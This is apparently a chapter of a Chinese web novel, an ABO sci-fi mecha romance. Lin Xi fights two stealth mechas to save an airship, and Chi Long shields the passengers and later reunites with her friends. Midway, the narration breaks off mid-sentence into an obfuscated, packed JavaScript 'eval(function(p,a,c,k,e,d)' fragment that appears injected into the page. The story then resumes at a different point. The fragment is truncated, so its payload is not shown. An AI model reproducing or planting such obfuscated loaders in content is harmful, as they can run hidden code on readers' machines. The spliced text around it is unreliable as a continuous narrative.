“各位,离开凳子,往驾驶舱门两边聚集,外面好像来了什么东西。”看到池泷进入驾驶舱,林息开口,沉着冷静的声音带着不容抗拒,人群中有人想反驳,在看到林息的眼神时,又皱眉闭上了嘴。 人群按部就班地逐渐聚拢,同时,飞艇的防御模式开启,无形的电离舱罩打开,隔绝了凛冽的罡风,舱内外氧气交换守恒。 林息伸手随便拨弄了几下舱尾的紧急门柄,密码通过,他站到飞艇尾部。 远处的黑点以极快的速度变大,随之而来的,还有一股令人恶心的信息素味道。 他摸摸后颈,里面尚存的池泷信息素让林息并未觉得有多难受。他从口袋里拿出一个挂件大小的棱锥体,向空中一抛,随即自己也跳了下去。 没多久,一台银白色机甲在艇尾浮空。 幸好电离保护罩够大,在罡风准备撕裂林息的脸时,他被凌光吸入。 此刻,两台暗黑机甲也逐渐显现身形,机甲应该是采用了一种特殊材料,凌光的扫描仪并不能捕捉它们的存在,暗黑磨砂的机身不带一点痕迹或者标志,就像没有指纹的人类。 那股恶心的信息素似乎已经融入了机甲,距离越近,存在越明显。尽管被池泷的信息素安抚着,林息心底仍没来由地觉得烦躁。 身后飞艇的飞行速度明显变慢,林息估计是池泷让艇长打开了所有的空气交换机,并调至最大功率,以实现舱内的氧气需要,这也增加了飞艇的负担。 在黑色机甲距离电离罩还有一段距离时,林息便操纵凌光飞了出去,三台机甲在半路撞见,凌光的激光射炮也预热完毕。 暗黑机甲遇到这台“程咬金”,也只是中止了几秒,随即其中一台直朝凌光冲来,凌光快速闪避,但胳臂处仍添了一道不算浅的划痕,银白漆面裂开,金色的原料钢铁显露出来。 林息抬头望去,果然暗黑机甲的手臂外侧有一道黑影闪过,如果他没猜错,它的武器应该是可伸缩的,藏在手臂里。 那就意味着,或许这台机甲,每一处都有这种隐秘的武器。 不敢大意,凌光迅速拉开距离,激光射炮如同狂风暴雨般扫向那台机甲,刺眼的光亮吞噬了凌光的身影,瞬息之间,激光炮发射的光点形成半个光球,笼罩在暗黑机甲上空。 何等精准的控制! 凌光作为防御性机甲,尽管武器单一,但之所以命名为“凌光”,就是因为它的速度在防御性机甲中首屈一指。 可在激光发射到达目标之前,仅仅几秒,形成如此景象,除了精准控制,操作者的基础实力绝对不容小觑。 暗黑机甲迅速下拉,可它毕竟没有凌光的高等机动性,也没有实力强劲的操作者,背部的能源储存箱被打破,火花伴随着烧焦的味道在空中散开。 被破坏的机甲身躯不稳,摇摇欲坠,看起来好像操作系统出现了问题。 如果不出意外,下一个攻击部位就是操作舱。 果然,暗黑机甲的前方又形成了一束激光,直奔操作舱而来。 早有预料,暗黑机甲向旁边飞速躲避,激光束擦身而过。 正想飞去凌光身边时,却突然听见身侧突然传来熟悉的破空声。 它惊恐地朝着声音传来的方向看去,第二道激光朝着脑袋射来! 刚才的那圈光罩只是为了掩护这一束激光吗?! 情急之下,能量罩被迅速打开,但也只维持了几秒,就被激光穿过! 能量罩消耗过的激光束虽然威力大减,可机甲头部还是被破坏了大半。 于是,下一秒,黑色身影便从半空直直落下。 这一切,发生在电光火石之间。 令林息不解的是,作为同伴的另一台暗黑机甲并未施以援手,在同伴向自己攻来的一瞬间,它直冲飞艇而去,这台机甲的操作者明显比另一台水平高明多了。 它将所有的能量转移到机甲腿部,推进器开足最大马力,在林息解决掉那台机甲的时间内,不到一分钟,它就准备进入电离罩了。 飞艇内有什么东西? 来不及思考,凌光破空而去,到达逃逸机甲所在处时,电离罩已经被它破坏了七七八八,林息抬起凌光的手臂,激光聚拢。 对方却向身后长了眼睛一般,快速闪开,双脚朝前,推进器闪过蓝色火焰,整个机甲背对凌光飞来,下一秒凌光就被抓住了脖颈,头颈处瞬间变形。 毫不犹豫,凌光伸手朝暗黑机甲的手臂撞去,尽管凌光的材料追求轻薄,不抗破坏,可激光炮的材质确实实打实的坚硬。 暗黑机甲的手臂被砸出巨大的空洞,很快手臂失去控制松开,林息瞬间拉开距离,刹那间激光炮破空而来! 头部被破坏失去了一定的平衡,激光束歪斜地朝暗黑机甲的下半身射去。暗黑机甲不躲不避,竟直冲激光束所在处飞去。 果然,刚才它站着的地方,另一束激光炮炸裂开来。 这一手声东击西,刚才已经用过了。 暗黑机甲没有恋战,躲过后便向飞艇急进,可推进器刚刚点燃,就被激光束瞬间打碎! “想跑?”林息勾起嘴角,因为凌光头部碎裂,操纵室照明受到影响,只有仪表盘发出的幽幽蓝光,照在林息戏谑的脸上,像某种暗夜捕食的大型猫科,冷静无情。 和掉落的那台机甲不同,这台暗黑机甲的行动敏捷,推进器使用灵活,身手也俏皮。 早猜到对方会躲避自己的声东击西,林息一开始那一炮早就算好了位置。 一旦它被自己逼离原位,一定还会飞向飞艇,因此第二炮他估算了暗黑机甲的飞行路线,成功破坏了它的推进器。 “没有腿的老鼠,还想跑到哪儿去。”林息端起激光炮,望着极速下落的身影,这次终于朝向了操作舱,光束瞬间发出。 不知道是不是林息的错觉,他好像看到暗黑机甲歪了歪头,那个样子,就像有人正看着自己,歪头,意味不明地笑了一下。 不好!林息迅速回身,激光炮的射程之外、缓慢飞行的飞艇身上,此刻黏上了一只黑色虫子。 是第一台机甲! 凌光迅速往飞艇飞去,可下一秒脚就被一条暗黑金属链条缠上,沉重的拉扯感让凌光难以前进半步。 它骄傲的速度在负重面前不值一提! 近处一炮,激光和锁链交接,迸发出耀眼的光辉。 散去后,链条却毫发无伤。 “可恶!”点开操作盘,林息大脑飞速运转,除了截断腿部之外没有选择。 他抬头看了看飞艇,心中涌起着急的情绪,就算截断大腿,少了推进器,凌光也无法及时赶到。 飞艇被破开是板上钉钉的事。 果然,这时,第一台飞艇已经如同跗骨之蛆一样吸在了飞艇上方,它手臂向上伸直,黑色长刀骤现,朝飞艇直直劈去! 一旦飞艇被大肆破坏,电离罩失效,罡风会把掉落的乘客瞬间绞成肉泥。 更遑论,电离罩此刻已经破了大洞,只要艇身被破开足够的孔洞,乘客就会被气压吸出,直接撞上电离罩身亡。 刚举起激光炮准备朝腿部来一下,第一台机甲下劈的动作突然停滞,太阳好像被不知道从哪里飘来的乌云遮了一下,暗黑长刀在微弱的阳光下闪着不祥的幽光,却迟迟没有落下。 一秒就够了。 凌光腿部被打碎,另一只腿的推进器开启最大功率! 甫一进入射程,激光束就穿过第一台机甲的胸口,黑色大虫静止了几秒,再次直直往地面落下。 此时凌光仅剩的推进器发出轻微的爆炸声,没顾上查看,林息操纵着遍体鳞伤的凌光跌跌撞撞地赶往飞艇,离得近了,才看到艇身上有着各种凹陷,确实遭到了破坏。 但破裂处都比较小,而且已经被某种粘合剂修补了,而且电离罩也在缓慢、逐渐地恢复。 稍微安心的林息在电离罩恢复完毕后,才从凌光中脱离,将它收进压缩包中放好,快步走入舱内。 舱内的情况也算不上好,乘客们人均头破血流,个个满头大汗。受伤严重的,或躺或坐在座椅上,呻吟声此起彼伏,有急救经验或者受伤较轻的人正在忙碌着,手法粗糙,但总比没有好。 舱内的紧急医药箱已经被翻得乱七八糟,各种医疗器械散得满地都是。远处的角落,池泷的便携医疗仓也早已没电,翻倒着放在那里。 地上到处都是呕吐物和血迹,座椅被气流拆得七零八落,中央还有一条用各种衣物袖子打结联结在一起的“绳子”。 舱内的空气交换机和空调早已停止工作,加上人多,艇内此刻感觉又热又潮。 这样的情况下,遍地哀嚎和支离破碎的景象,让林息不禁皱眉。 目光扫过一遍,没有池泷的身影,林息快步向驾驶舱走去,路上受伤的乘客自发哆哆嗦嗦地移开,给他腾出一条路。 朝周围点点头,走到驾驶舱门前,素来不会紧张的林息却深深吸了一口气,刚准备转动把手,门就被打开了。 池泷的脸上也多了几处血丝伤痕,还有大大小小的青紫,尤其是她的胳膊,小臂上惹眼的青紫淤积了一片,甚至T恤到处破碎,变成了一件战损版背心,腹部还有一道渗血的伤痕。 “你……”池泷刚出声,林息就伸出手想抓她的衣服,吓得她“嘶”得一声躲开了。 “我腰上有伤,还挺疼的,”池泷左手摆了摆,问道,“你怎么样?” 其实林息此时也乱七八糟,凌乱的金发,脸上黑一块白一块,到处汗津津的,绝对算不上优雅,但好在没有什么明显伤痕。 林息摇摇头:“我没事。” 盯着池泷的样子,林息忍不住皱眉,她比自己狼狈多了,还有闲心考虑他。 “‘凌光’呢?”明明知道不可能存在奇迹,池泷还是不死心地问道。 果不其然,听见林息回答“完全报废”后,她还小小声地叹了口气,在心底跟牺牲的凌光说了声谢谢。 “有医疗箱吗?” 听见林息的提问,池泷也摇了摇头,顺带抓住马上就要返身去乘客区的林息,说道:“我是军校生,又是alpha,好得快,医疗用品本来就不够,让他们用吧。” “你还在流血!”轻轻挣了挣胳膊,林息的动作幅度不敢太大,他面向池泷,脸上满是不赞同,“万一那些人再来怎么办?” 这话说出来,两人都是不信的。 “只有这两人,”池泷回复,作为alpha,她能感知伴随两艘机甲而来的信息素,她将背心往上提了提,露出腹部脏兮兮的绷带,“处理过了,不要太担心。” 瞥了一眼,林息仍旧皱着眉头,但是没办法,这时候能找到绷带就不错了。他低下头仔细端详了一下,包扎的人手艺还不错,但绷带的血红仍旧在缓缓漫延。 鼻息打在腹部,带来丝丝不明显的凉意,池泷忍不住收紧肌肉,赶紧将背心放下。 随即林息也直起身体,胳膊上的力气仍旧坚决,他只得走向驾驶舱:“说说情况。” “你半路拦截了那两台机甲,一开始破坏的那台,叫它机甲1号吧,它应该是佯装不敌,下落后偷偷飞过来,然后用一种奇怪的黑色链条缠到了这里。” 池泷将他带往驾驶舱,舱内地板上落着一顶深蓝的艇长帽子,而艇长正坚守在岗位上,飞艇的自动寻航系统已经失灵,她正手动操作,哆嗦的手和满头大汗说明她此刻的压力应该不小。 “可我破坏了它的能量舱,怎么能那么远够到飞艇?”林息皱眉不解,随即自问自答,“机甲内部如果有紧急储存能量,倒是可以飞一小段儿,除非那条锁链极长……” “没错,”池泷想起自己看见的那一幕,“你后续追击的那台机甲,也就是机甲2号,高速落地的情况下,操作舱被破坏之前,驾驶员应该是在最后时刻放出了锁链,长度十分可观,所以仍旧能够缠住你。” “机甲1号为什么停滞了?”林息走到艇长身边,一边在副驾的操作盘上点拨着什么,一边问道。没一会儿,飞艇的紧急巡航模式打开,艇长被解放了出来。 “谢谢谢谢,”一边道谢一边抹汗,艇长是个看起来很精干的alpha女性。她所有手指的第二指节全部破损,而最边上的小指应该是断了,软趴趴的绕不住操作杆。 手之所以哆嗦,应该是紧张,也应该是疼。 “这位池小姐,不知道用了什么方法,竟然控制住了那个入侵者!”解放出来的艇长并未马上去治疗,反而双眼晶亮地说着池泷的“丰功伟绩”,“当时操作系统报警,舱顶破了个大洞,池小姐马上抓着我进来,从紧急柜中拿走了补舱剂。” “那时候大风刮了进来,所有人都睁不开眼睛,池小姐还能找到回驾驶舱的路,真的是……”满脸的崇拜让池泷有些赧然,接着艇长又说,“拿到补舱剂,我俩又出了驾驶舱,但仍旧睁不开眼,所以我也不知道具体发生了什么事。” “总之,风停下的时候,舱口已经补好,而那台很凶的机甲也刚举起刀!”尽管受着伤,可刚才生死之间的奇异场景让艇长的肾上腺素飙升,兴奋地感受不到一丝痛苦,“当时我的心脏都停止跳动了,连遗言都想不出来!” 软趴的小指伴着亢奋的话语随意地晃荡,看起来诡异又激情,池泷一把按住她不安分的胳膊,说道:“你先去治疗吧,断骨不是什么小事,还是尽早固定得好。” “剩下的事情我来说就行,”假装没看到艇长不甘心的表情,池泷不容拒绝地将她推出了驾驶舱的门,她回身看见嘴角噙着笑意的林息,左手挠了挠脸,清了清嗓子,“也没她说的那么夸张,我也没干什么,主要是给你争取时间。” 虽然是两人的第一次合作,但双方的配合却有不输池泷与白簇尹霄磨合多年的默契,甚至在林息出舱前,两人连战略计划都没来得及决定。 “信息素?”一边说着,林息一边打量眼前的操作台,这应该是条历史比较久远的飞艇了,有的按钮上做着标记,标记下是清理不掉的胶痕,应该是曾经有人也做过一样的旧标记。 操作台下有盆翻倒碎裂的叶片植物,小小的一根,似乎营养不良。 在操作杆的下方,挂着一条全是灰几乎看不出原色的短绳,尽头处的突起说明它原本挂着的饰品不知道掉去了哪里。 林息将座椅旁边的相框扶起,玻璃碎得稀里哗啦,但仍旧能看见年幼的艇长被一位alpha女性搂着肩膀,两人满脸笑意地站在一扇舱门前,旁边艇身上拍不全的飞艇尾号和这台飞艇一样。 做完这些,林息双手开始敲击着操作台,池泷才看到他的胳膊和手背上也有几处严重的擦伤,但创面不大,所以一开始她并未看见。 “嗯,我控制了信息素的范围,没让它波及太多人,”池泷并不惊讶他能那么快想到,“你离开后,我就让乘客将衣服绑结在一起,和合金舱门链接,那是舱内最坚固的地方,以防他们被气流带走。” “你已经料想到那些机甲一定会登陆这里?” “没有,只是在高空气压下,他们的飞行速度和灵活度绝不是一般机甲能拥有的。”池泷回答,“不比凌光差太多,因此需要提前做好被登陆的准备。” 身为机械师,林息自然能看出这两台黑色机甲的构造绝对优异,复杂的内置武器、隐身的机体、不明来源的材料,这是一场光明正大的“暗”杀。 “同时我也让艇长打开最大功率的交换机和自动寻航,将她也拉了出来镇场面。舱内的人太惊慌了,有些人信息素控制不稳,一旦泄露过多,内部骚乱的镇压就麻烦多了。”说完,池泷指了指林息的手,“我给你拿点药。” “哎,我也是军校生。”正好林息检查完飞艇情况,他转身轻轻拉住池泷没受伤的手腕,在她还没“可是……”完时就打断,拉住她做到椅子上,“重伤都不下火线的人就别狡辩了。” 拿起角落里池泷的背包翻找了一下,没找到什么有用的东西,林息担忧地看了一眼池泷已经渗血严重的腹部,如果不赶紧处理,恐怕到达后第一时间她就得被送往医院急救输血了。 正在他准备将自己的衣服裁开时,艇长突然打开门,手里还拿着一卷洁白的纱布和一小瓶药粉,林息赶忙起身,此刻艇长的小指已经用脏兮兮的细布包着夹板固定,粗略地处理过了。 “这是给池小姐的,”艇长看了看手里的东西,十分不好意思,“就是不多,我等会再找找。” “不用,”池泷率先出声,“这些你也……” “谢谢,”没等池泷说完,林息就出声打断,他接过艇长手里的东西,“这些就够用,不必再找了。你也休息一下吧,自动寻航我已经设定好,飞艇也检查过,飞到终点站没有问题,后续也只需要补补艇体就行,别的地方没什么大毛病。” 听见这些,艇长喜出望外,她感激地点点头,刚准备出门,又听林息说:“多亏你在一开始就向总站发送了求救信号,刚才总站说会有医疗队伍在终点站等待,大家一到站就会得到很好的医疗处理。” 关门后,干练的艇长一瞬间眼眶发红。 她虽然是个艇长,驾驶这条线路多年,但从未遇到过这样生死攸关的袭击。 那一瞬间她大脑一片空白,只能想起发射紧急信号,多亏有了眼前这两个人,不然整条飞艇覆灭,就算她死了也难辞其咎。 可他还谢谢她,她做得这些才哪到哪儿。 “幸好人和艇都保住了,”艇长揉揉眼睛,想起母亲对自己的叮嘱,作为一艇之长,自己不能在乘客面前露出一点脆弱,“幸好幸好幸好,”连说了几个幸好后,她在心里默默说道,这样自己还能有脸去面对已故的母亲。 驾驶室内,池泷本来想让林息先处理,自己的伤自己来就行。 可林息不容拒绝的表情却让池泷不敢出声。 他将池泷的衣服小心翼翼地掀开,未被绷带裹住的腰部,隐隐露出一圈青紫,刚才被背心遮住的左侧,竟然还有一条很深的伤痕,汩汩流血,但所幸没伤到内脏。 “绑门上?”讽刺的口气让池泷心底打颤,可对方处理伤口的动作没让她觉得有一丝丝疼痛。 “也绑腰上了。”像撒谎被大人发现的孩子,池泷心虚承认,“就绑在一头上,我怕气流太大,还能出份力……” “你不怕气流和体重直接把你撕成两半?”幸运的是,艇身被破坏的程度达不到这种局面。可林息心中还是燃起一股陌生的气愤,虽然他下手依旧稳当轻柔,“有人说闲话了吧?害怕你让他们连在一起不具有安全性?怕你一个人不连是为了自行躲避?” “哈哈,我自己本来也是这么想的,”尴尬地笑了笑,池泷习惯了他的料事如神,倒也没想争辩,“人之常情、常情,大多数人还是明白的,艇长和别的乘客也把那个人教训了一顿。” 说得轻松,似乎大仇得报。可林息知道这一切根本不像她说的这样,那种大风下,解开绳子,拎起艇长去拿东西已经是突破极限了。 他看着她的眼睛,得益于alpha强大的恢复能力,此刻虹膜旁边的红血丝仍有,却不太明显。 “已经好很多了,我没那么傻,眯着眼走的。”避开他关切的目光,池泷看向自己的腹部,伤口均匀涂上了一层薄薄的药粉,她缓缓站起身,方便林息给自己包裹纱布。 “生死之间是什么感觉?”仔细、缓慢地缠绕着纱布,林息轻轻问出口。 什么感觉吗?池泷愣了下,回想起自己拿到补舱剂出门时,心中没想那么多,只是一鼓作气往缺口那里走,放出剂中的迷你防风机器人,它们开始补仓工作时,自己正好从缺口处隐约看到一丝暗光。 那一瞬间大脑空白,她一时间想不出那是什么,却好像又知道那是什么。 风声静止、人声静止,她只能看到、只在乎那一丝暗光。 没有头皮发麻、没有鸡皮疙瘩、没有后背发凉、没有回马灯。 平静得不像是生死攸关的时刻,反而像在另一个维度。 如果不是感受到自己的信息素如同利剑一样向那座机甲劈去,通过飞艇的交换机、通过机甲的交换器,进入驾驶舱,狠狠“割开”驾驶员的喉咙,池泷觉得自己只是站在原地,静静等待暗光落下。 所幸,林息救了她。 正如她预料的,他能把握住这一刹那的机会,将那座机甲狠狠击落。 可自己在放出信息素时,大脑好像并没做过这个预料。 身体和精神被分割成了两个部分,它做它的事、她做她的事。 直到那座机甲被击落的碎片从缺口落下,将腹部划开,她才回神,感受到丝丝疼痛。 然而她也只是从地上捡起那条绳子,继续绑在腰上,身后还有很多人,在艇身和电离罩愈合前,不能停下。 原来一瞬间自己做了那么多事,池泷想道,看着林息的头顶,她嘴唇嗫嚅,却也说不上什么来。 “兴奋肯定有的,”似乎林息也没指望她有什么回答,自顾自说道,“不然不会流了这么多血,也没觉得伤口疼。” 药粉只能将将止住流血,所以林息也不敢将伤口包裹得太紧,“害怕吗?”纱布整齐地围绕住伤口,有种赏心悦目的排列感。 “不知道。”想了很久,池泷才回答,“就是觉得我必须得做些什么,不然大家都得死。” “所以现在大家都安全了。”将纱布打结,林息将衣服放下,看着池泷,她的眼底像一湾幽暗静谧的深潭,“你做得很好,休息下吧。” “嗯。”听他这样说,池泷一瞬间真的觉得有些累了,她坐回椅子上,靠着椅背闭上眼睛。 而林息原地不动,静静在她身后看了一会儿,才轻手轻脚地离开。 门关上的一瞬间,池泷眼球动了动,而遗留的崖柏像一只温柔的手,立马抚平了不安的躁动。 到总站之前,飞艇在半空被拦下,亚硫市的行政飞艇和两台机甲立在艇外,连接通道搭建好后,政府人员接手了飞艇。 看着艇外的“熊猫”和“横刀”,林息眯了眯眼睛。 而池泷在飞艇停下时就醒了,她揉揉太阳穴,从驾驶室内出来,看见两台机甲时,眼睛瞬间亮了起来。 “走吧。”林息招呼池泷,两人离开时,艇长和乘客过于不舍的眼神藏都藏不住,甚至有想跟着两人一起走的趋势。 “这里离终点不远,很快就到了,而且这些政府人员也都是专业的。”看到自己身后畏畏缩缩、吞吞吐吐的众人,林息先是愣了一下,出声说道。 伴随着他的话语,人群的骚动果然小了不少。 几秒后,艇长率先走了出来,她二话没说,先朝两人鞠了一个九十度的躬,林息再次怔愣,池泷赶忙要去扶。 可下一秒,所有乘客都弯下身来,受伤的人也低下了头。 “谢谢!谢谢你们做的一切。”艇长中气十足地吼道,“你们是我们的救命恩人。” 说到这儿,人群里突然传来低低的啜泣声,艇长起身,也眼眶通红。 她上前一步握住池泷没受伤的那只手,语气有丝不易察觉的哽咽:“为刚才对您的怀疑再次道歉,”随即她看向林息,“谢谢您的牺牲,我以编号MB4618飞艇艇长的名义保证,关于您的损失,只要有需要,我们所有人出钱出力都可以。” “祝二位生活幸福、永远美满。”说完这句,艇长又退回原味,乘客也纷纷起身,目送两人离开。 看了眼人群,池泷冲他们点点头,随即转身走进连接通道,林息也转身跟上,但身影似乎有几分狼狈。 通道里,池泷打开手掌,里面是一张有些汗湿的纸条。 她停下脚步,打开纸条,却发现里面密密麻麻写了几十个光脑号码。 此时林息也在她身边停驻,池泷把纸条递给他,林息看了眼纸条,抿了抿唇角。 犹豫几秒后,小心翼翼地把纸条拿了过去,收藏在随身口袋里。 假装没看到林息的小动作,池泷只是心中纳罕,一张普通的小纸条,竟然会让林息如此珍惜。 “你不和白簇他们走吗?”出乎林息意料,连接通道竟然只有通向行政飞艇那一条,白簇和尹霄并未搭桥过来。 机甲倒是可以装下两人,只不过比较拥挤,驾驶员可能无法进行战斗操作,林息想的是白簇和尹霄此刻一定急坏了,因此一定会让池泷进入机甲,而自己——估计没人想跟自己共处一室。 “不用,他们知道,”池泷理所当然地回复,继续往行政飞艇走去,“我们估计还得接受盘问,在一块儿也方便。” 忍不住轻咬嘴唇,林息第一次直观感受到三人的默契,毕竟是三年的形影不离,不需要光脑就能明白彼此在想什么,他心底那种刚才就出现的、说不清道不明的感觉更加强烈了。 同时,他跟上池泷,手掌不自觉地再次摸摸口袋。 前方的身影不急不缓地行进,乌黑的长发打着卷儿落在比自己宽厚的背上,翘起的发尾随着脚步轻然摇晃。 在自己乘坐凌光迎击敌人时,她没有提出异议,明明她才是机甲系的学生,反而留守飞艇内部护着人群。 这是他人生中第一次收到众多人的感谢和信任。 不是秘密任务、不是私下委托,奇怪的心脏也正在为正大光明的感谢和信任而活跃跳动。 果然,行政飞艇内,两名西装革履的政府工作人员正拿着平板等待,二人被分到不同的房间,各自接受询问。约莫20分钟后,完成询问的两人被安排到了公务休息室,里面还有两张小床,卫生间、药物、吃喝物品一应俱全。 “他们说调查清楚事情原委后,会向我们说明袭击者的身份,并向学校和个人颁发嘉奖。”池泷躺倒在床上,长长呼了口气,“你怎么办?” 林息此行应该是秘密的,这样高调的嘉奖可能会破坏他原本的计划,而且如果别人知道自己和林息同乘一班游客稀少的远郊线路,也可能会有不好的联想。 “没关系,我让他们直接寄到学校,而且我主动要求不要告知学校。”林息从卫生间洗手出来,手里还拿着一块干净的湿润毛巾,递给池泷,“我出具了证明,亚硫城表示理解,只不过需要跟上级汇报一下。” 他的声音藏着一股难以抑制的雀跃,池泷道谢接过毛巾擦拭身体,好奇地看向林息:“你很开心?” “嗯?”表情举止基本都和平日一样的林息挑了挑眉,没有正面回答,只是感慨,“可惜那本书没了,我还没看完呢。” “那本书最后有个勉为其难的完美结局吧,”池泷正看着天花板,脑袋放空,嘴里却安慰他,“当然也有人认为那样的结局不算好,但千人读书就有千种想法,各花入各眼吧。” “你看过?”林息惊讶地看向池泷,古星的书籍十分难见和珍贵,池泷是从哪里知道的? “图书馆看过。”此刻池泷已经眯起眼睛、半梦半醒了,刚才她并未睡好,加上失血较多,能坚持完询问已经不错了。 看着逐渐睡熟的人,林息又又又皱起眉头。 一是因为这本书图书馆绝无可能存在,谁会让一群需要付出的铁血战士们看这些东西呢? 二是因为她还没来得及换药又睡了过去。 三是她睡得似乎并不安稳,眉头几乎要相交,额间挤弄出深深的褶皱,腮部肌肉鼓起,应该是牙齿正在用力聚合,她似乎努力压抑着不要出声,从而导致看起来十分痛苦。 林息轻轻起身,崖柏的味道在房间四散开来,他拿起药品,轻手轻脚地掀开池泷的衣服给她换药,坐在床边时,她的牙齿已经放过了彼此,只剩下紧皱的眉头。 安顿好池泷,林息也靠在床头闭眼假寐,行政飞艇飞得比公共飞艇稳当多了,换气机大功率运转得极为良好,还听不见任何噪音,但此刻林息有些怀念那股奇怪的味道了。 到达终点站,行政飞艇并没有和公共飞艇那样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“谢谢你,恩人,多亏你带了压缩机甲,不然我这位倒霉还英勇的姐姐早就连渣都不剩了。”眼看尹霄出手要抓林息的手,却被白簇抢了先,她抓着林息的手重重摇了两下,那紧握的力道,让林息深刻体会到了“沉重的感谢”。 “所有的后续费用我们都可以承包,这是我的名片。”尹霄说着递来一张卡片,声音诚恳,“市面上所有新出的机甲也可以随意挑选,再次感谢你的勇敢和牺牲,帮我们带回了家人。” 而池泷在旁边舔了舔嘴唇,她不知道要不要告诉好友们,眼前这位,或许他俩都认识。 “我是林息,”反而是林息开了口。 一石激起千层浪,白簇表情僵硬了一瞬,双手“刷”地一下放开,举在脸颊两边。 尹霄也瞪大了双眼,场面陷入静默。 下一秒,尖叫响起,“会长?!”尹霄看看一脸无辜的池泷,又看看音容样貌完全是另一个人的林息,食指在空中漫无目的地划了几下,不确定地问道,“你真是会长?你俩怎么又在一起了?” “亚硫城碰巧遇到的,”害怕林息不好解释,池泷出声,“我拜托他帮我做委托,没想到遇上这种事。” “你俩可真是所有倒霉事儿都能碰一块,也不知道该说是你俩倒霉,还是你俩只要一起就会倒霉。”尽管声音小,可池泷还是把尹霄的嘟嘟囔囔听了个门儿清。 “挺好挺好。”扯了个笑容,尹霄敷衍地点点头。白簇却一直盯着林息,眼中带着看不懂的光亮。 清清嗓子,池泷转而问道:“你俩怎么这么快就来了呢?” “说这个我就生气,”脸颊鼓起的尹霄像一只猛猛炫饭的仓鼠,“两家翻遍了找不出个合适的人选,还剩些日子,没啥事儿,我和阿簇一合计,干脆来找你一起做委托好了。” 其实是他俩经过上次的事,总是十分担心,害怕池泷又遇到什么,没人在身边,就马不停蹄地往这儿来了。但这不能明说,毕竟池泷这么大的人了,又瞒着他们一些事情,怕她多想。 “结果正好听闻袭击事件,就联系亚硫城一起过来帮忙。”忍不住翻了个白眼儿,尹霄无语,“结果还是没赶上。” “幸好林……同学在,有惊无险。不过你们来的正是时候,正好有事儿需要你们帮忙,”作为家族继承人,白簇不论,尹霄怎么可能没事儿呢,无非是担心自己罢了,池泷笑嘻嘻地没戳破,“本来我也想回来后问问你俩有没有空。” 听见新奇称呼的林息瞥了池泷一眼,心中哼笑,林同学?这是什么划清界限的称呼? “嗯嗯,还是得多谢会长。”尹霄再次向林息诚恳道谢,聪明如他,没去问林息伪装的事儿,毕竟贵族家庭遮遮掩掩的阴私多了去了,互不干扰才是良策。 随即他又瞥了池泷一眼,阴阳怪气地说道:“你最好是真的想起找我们帮忙,不要总是一个人。” “真的真的,绝对真,骗人是小狗。”池泷率先往机场门口走去,此刻她的背包正在身前,因为袭击包破了几个地方,好在还能勉强装着东西,“咱先去我入住的宾馆,后续还得商量具体事宜。” 但步子刚迈开,自己衣角就被人拉住了,“那我呢?我还能帮忙吗?池同学——”熟悉的声音从身后传来,尤其是有些浮夸漂浮的尾音,让池泷鸡皮疙瘩起了一身。 “如果你愿意的话,”被拉住的明明是衣角,但僵硬的却是池泷的脊背。 生物本能的危机感让她觉得,如果自己选择拒绝,可能会遭遇什么不想遭遇的事。 只不过,她也是真的这么想的,如果林息经过这样的事还愿意帮忙,她指定愿意接受。 没说愿不愿意,林息放开手,往门口走去,池泷下意识摸摸额头,原来没有冷汗。 她向白簇二人快速招了招手,然后也疾步追上。 身后尹霄眯了眯眼,又变得像一只老谋深算的狐狸,“我觉得……” 头顶被一只大手按了按,白簇斩钉截铁:“别想太多。” “你这种直A看不到他俩之间有猫腻吗?”尹霄跳跳,顶了顶手。 反而头被彻底握住,脸转到一处柔软,头顶的声音依旧平静无比:“打飞艇,不要问。” “飞艇我早就打上了,”埋在柔软里吸了吸,燃烧的味道让尹霄心底的不安感缓解了许多,“你说得对,我不问池姐,免得她开窍,一切顺其自然吧。” 尹霄看不见的地方,白簇点了点头。 然后两人便携手往门口走去,路上尹霄可能为了安慰自己,也有点肯定的意思,说了句:“池姐这样的人,肯定不会对‘有妇之夫’动手的。” 在门口正好拉住林息的池泷莫名其妙打了个喷嚏,她没在意,看着表情平静的林息,问道:“你生气了?” “没有。”沟通才是最好的选择,林息的理智这么告诉他,尽管声音依旧平淡冷静,可说出来的话却不是这样,“我没生气,我有什么立场和理由生气呢?” 他很烦,从见到白簇和尹霄的那一瞬间就很烦,听到她在他们面前那样称呼自己时也很烦,他没法理清自己在烦些什么。 自己因为她,感受到了从未有过的温暖,而白簇和尹霄担心朋友,到来是理所应当的。 她怕两人关系暴露影响自己的名声自己也理解,并且在那之前,自己做了让她不开心的事情,如果没有这场袭击,恐怕他俩的关系还没法轻易破冰。 所以你瞧,从头到尾,只有自己是最没有资格和理由生气烦躁的那个。 “我先回酒店了,有事光脑叫我。”将胳膊从池泷手中抽出来,林息头也不回地坐上自己刚刚订好的飞艇,留下池泷一脸懵懂。 绝对是生气了,池泷心中极为肯定,她摸摸下巴,却不知道什么原因。 但她还蛮喜欢林息这种口不对心的样子,感觉很鲜活。 剩下两人赶来后,池泷用“他有点别的事儿”搪塞了过去。 三人坐上飞艇前往酒店,路上尹霄意外地没说一句话,池泷靠在椅背上继续闭目养神,但总觉得少了点什么。 翻来覆去地无法假寐,池泷干脆睁开眼往旁边看去,结果吓了她一条,四只眼睛正盯着自己,像四只瓦数极高的电灯泡。 “……有事?”被看得发毛的池泷出口询问。 白簇摇摇头,指了指尹霄,尹霄说:“池姐你不再休息了吗?” “不了,路上休息够多了,”池泷晃晃依旧有些沉闷的脑袋,说起军技大赛,“想着比赛的事也睡不着,朴哥那里也没动静?” 白簇摇摇头,尹霄接话:“这种事毕竟有点作弊的嫌疑,有能力的不会来,没能力的不敢来。” “也是,”揉揉额角,池泷脑海里突然闪过凌光以一敌二的画面,以及某人特级机械师的身份,随口感慨道,“其实——再有个机械师的队友也不错,对吧?” “你说谁呢?”尹霄皱眉,不确定地问道,看池泷一脸深思的模样,他小心开口,“会长?虽然会长确实没有参加军技大赛的队伍,但我估计他那样的身份,也不会来吧。” “他没参赛?”池泷抓住重点,她很疑惑,“三殿下……不是参赛了吗?” “啊?所以呢?”尹霄不解,“会长是omega啊,有几个队伍会让omega参赛占个名额啊,且不说大多数人觉得omega体力智力都比不上alpha,万一真得名次了,也会有人觉得这样千载难逢的机会给早晚要结婚生子的omega也是浪费。” 